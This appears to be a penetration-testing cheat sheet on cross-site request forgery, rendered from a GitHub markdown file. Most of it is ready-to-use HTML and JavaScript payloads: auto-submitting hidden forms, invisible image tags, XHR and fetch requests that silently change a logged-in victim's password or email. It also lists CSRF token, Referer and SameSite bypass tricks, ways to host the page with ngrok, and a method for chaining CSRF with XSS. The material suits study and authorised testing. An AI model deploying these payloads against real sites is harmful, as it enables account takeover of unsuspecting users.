Skip to content

Latest commit

 

History

History
343 lines (262 loc) · 7.53 KB

File metadata and controls

343 lines (262 loc) · 7.53 KB

CSRF (Cross-Site Request Forgery)

Table of Contents


Understanding CSRF

CSRF forces authenticated users to perform unwanted actions on web applications.

Requirements

  • Victim must be authenticated
  • Attacker must know the request format
  • No unpredictable parameters (or can bypass)

Detection

Quick Check (One-liner)

# Quick CSRF check (no token validation)
curl -X POST "https://$rhost/api/update" -H "Cookie: $cookie" -d "email=attacker@evil.com" -v 2>&1 | grep -E "200|302|csrf"

Check for CSRF Protection

1. Capture authenticated request (password change, email update, etc.)
2. Check if CSRF token exists in request
3. Test if request works without token
4. Test if token is validated properly

Things to Look For

Element Vulnerable If
CSRF Token Missing or not validated
Referer Header Not checked
SameSite Cookie Set to None or missing
Content-Type Not strictly validated

GET-based CSRF

Basic Attack

<!-- Image tag (invisible request) -->
<img src="http://target.com/transfer?to=attacker&amount=1000" style="display:none">

<!-- Link -->
<a href="http://target.com/change_password?new_password=hacked">Click here!</a>

<!-- Redirect -->
<script>
window.location = "http://target.com/change_email?email=attacker@evil.com";
</script>

Password Change via GET

<html>
<body>
<img src="http://$rhost/save_profile.php?password=hacked&cpassword=hacked&id=" width="0" height="0">
</body>
</html>

POST-based CSRF

Auto-submit Form

<html>
<head>
    <title>Loading...</title>
</head>
<body onload="document.csrf_form.submit()">
    <form action="http://$rhost/save_profile.php" method="POST" name="csrf_form" style="display:none;">
        <input type="hidden" name="password" value="hacked" />
        <input type="hidden" name="cpassword" value="hacked" />
        <input type="hidden" name="id" value="" />
    </form>
</body>
</html>

With Hidden iFrame (Silent)

<html>
<head>
    <title>Fake Form</title>
</head>
<body onload="document.fake_form.submit()">
    <form action="http://$rhost/save_profile.php" method="POST" name="fake_form" style="display:none;" target="hidden_results">
        <input type="text" name="password" value="password" />
        <input type="text" name="cpassword" value="password" />
    </form>
    <iframe name="hidden_results" style="display:none;"></iframe>
</body>
</html>

JavaScript Submit

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form id="exploit" method="POST" action="http://$rhost/save_profile.php">
    <input type="hidden" name="password" value="hacked" />
    <input type="hidden" name="cpassword" value="hacked" />
    <input type="submit" value="Submit request" />
</form>
<script>
    document.getElementById('exploit').submit();
</script>
</body>
</html>

XMLHttpRequest

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://$rhost/api/change_password", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
xhr.send("new_password=hacked&confirm_password=hacked");
</script>

Fetch API

<script>
fetch("http://$rhost/api/change_password", {
    method: "POST",
    credentials: "include",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded"
    },
    body: "new_password=hacked&confirm_password=hacked"
});
</script>

Token Bypass Techniques

1. Remove Token Entirely

<!-- Try submitting without the token parameter -->
<form action="http://$rhost/change_password" method="POST">
    <input type="hidden" name="password" value="hacked" />
    <!-- No csrf_token -->
</form>

2. Use Empty Token

<input type="hidden" name="csrf_token" value="" />

3. Use Another User's Token

<!-- Tokens not tied to session -->
<input type="hidden" name="csrf_token" value="attacker_valid_token_here" />

4. Reuse Old Token

<!-- Token not invalidated after use -->
<input type="hidden" name="csrf_token" value="previously_used_token" />

5. Token in Cookie (Double Submit)

<script>
// Set cookie with fake token
document.cookie = "csrf_token=fake_token; path=/";
</script>
<form action="http://$rhost/action" method="POST">
    <input type="hidden" name="csrf_token" value="fake_token" />
</form>

6. Method Override

<!-- Change POST to GET if token only checked on POST -->
<img src="http://$rhost/change_password?password=hacked&_method=POST">

7. Change Content-Type

<form action="http://$rhost/api/action" method="POST" enctype="text/plain">
    <input name='{"password":"hacked","ignore":"' value='"}' />
</form>

Prevention Bypass

Referer Header Bypass

<!-- No Referer header -->
<meta name="referrer" content="no-referrer">
<form action="http://$rhost/action" method="POST">...</form>
<!-- Subdomain bypass (if referer checks domain only) -->
<!-- Host: target.com.attacker.com -->

SameSite Cookie Bypass

<!-- If SameSite=Lax, use GET method -->
<img src="http://$rhost/action?password=hacked">

<!-- Or use top-level navigation -->
<a href="http://$rhost/action?password=hacked">Click</a>

JSON Endpoint CSRF

<html>
<body>
<form id="exploit" method="POST" action="http://$rhost/api/change" enctype="text/plain">
    <input name='{"password":"hacked","extra":"' value='"}' />
</form>
<script>document.getElementById('exploit').submit();</script>
</body>
</html>

Testing Workflow

1. Identify state-changing actions (password change, email update, etc.)
2. Capture the request with Burp Suite
3. Generate CSRF PoC (Burp: Right-click → Engagement tools → Generate CSRF PoC)
4. Test if request works:
   - Without token
   - With empty token
   - With different token
   - With reused token
5. Host PoC on attacker server
6. Send link to victim / Submit via XSS

Hosting CSRF Payload

Python HTTP Server

# Host CSRF page
python3 -m http.server 8080

# With ngrok for external access
ngrok http 8080

PHP Server

php -S 0.0.0.0:8080

Combined with XSS

<!-- Use XSS to execute CSRF without user visiting attacker page -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "/change_password", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("password=hacked&cpassword=hacked");
</script>

Quick Reference

Technique When to Use
Auto-submit Form POST-based actions
Image Tag GET-based actions
XHR/Fetch API endpoints
Remove Token Weak validation
Empty Token Poor implementation
Content-Type Change JSON APIs with CORS
No Referer Referer-based protection

📚 See Also

Related Web Attacks